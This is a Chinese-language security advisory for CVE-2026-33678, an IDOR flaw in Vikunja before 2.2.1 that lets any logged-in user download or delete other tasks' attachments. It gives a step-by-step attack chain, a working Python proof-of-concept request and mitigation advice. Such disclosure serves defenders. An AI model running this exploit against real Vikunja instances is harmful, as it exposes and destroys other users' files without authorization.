IPBUF安全漏洞报告
English
CVE-2026-33678 CVSS 8.1 高危

CVE-2026-33678 Vikunja越权访问漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33678
漏洞类型
访问控制失效
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Vikunja

相关标签

IDOR越权访问Vikunja权限绕过

漏洞概述

Vikunja是一款开源的自托管任务管理平台。在2.2.1版本之前,其`TaskAttachment.ReadOne()`函数存在逻辑缺陷,导致访问控制失效。该函数仅通过ID查询附件,忽略了URL路径中的任务ID,使得权限检查流于形式。任何经过身份认证的攻击者均可利用此漏洞,通过提供自己有权限访问的任务ID配合目标附件ID,下载或删除系统内任意任务的附件。

技术细节

该漏洞属于典型的不安全的直接对象引用(IDOR)问题。漏洞根源在于后端处理逻辑的不一致性:`CanRead()`函数验证的是用户对URL路径中`task_id`的访问权限,而随后的数据库查询`ReadOne()`却仅根据请求体或参数中的`attachment_id`获取数据,未验证该附件是否属于URL中指定的任务。由于附件ID为顺序整数,攻击者极易进行枚举。攻击者构造恶意请求,将URL中的任务ID替换为自己有权限操作的ID,而将附件ID设置为目标敏感文件的ID。服务器验证通过任务ID的权限后,直接返回了不同的附件数据,从而绕过了对附件本身所属项目的权限校验。

攻击链分析

STEP 1
1. 信息收集
攻击者登录Vikunja平台,获取至少一个自己有权限访问的任务ID(Task A)。
STEP 2
2. 枚举ID
由于附件ID是顺序整数,攻击者猜测或遍历目标附件ID(Attachment B)。
STEP 3
3. 构造恶意请求
攻击者构造API请求,URL路径中包含合法的Task A的ID和目标的Attachment B的ID。
STEP 4
4. 权限绕过
服务器验证攻击者对Task A有读权限,验证通过。
STEP 5
5. 数据泄露或破坏
服务器根据Attachment B ID返回文件内容或执行删除操作,导致敏感数据泄露或丢失。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Code for CVE-2026-33678 # This script demonstrates how to download an arbitrary attachment # by exploiting the IDOR vulnerability. import requests target_url = "http://localhost:3456" access_token = "<YOUR_VALID_JWT_TOKEN>" # Attacker has access to task_id 1 (Legitimate Task) # Attacker wants to download attachment_id 100 (Target Attachment) legitimate_task_id = "1" target_attachment_id = "100" # Vulnerable endpoint endpoint = f"{target_url}/api/v1/tasks/{legitimate_task_id}/attachments/{target_attachment_id}" headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } response = requests.get(endpoint, headers=headers) if response.status_code == 200: print(f"[+] Exploit Successful! Downloaded attachment {target_attachment_id}") print(f"[+] Content-Type: {response.headers.get('Content-Type')}") # print(response.content) # Save or print binary content else: print(f"[-] Failed. Status Code: {response.status_code}") print(response.text)

影响范围

Vikunja < 2.2.1

防御指南

临时缓解措施
如果无法立即升级,建议暂时限制对Vikunja实例的网络访问,仅允许可信IP访问,并密切监控日志中是否存在针对附件接口的异常访问模式(如频繁请求不同ID)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表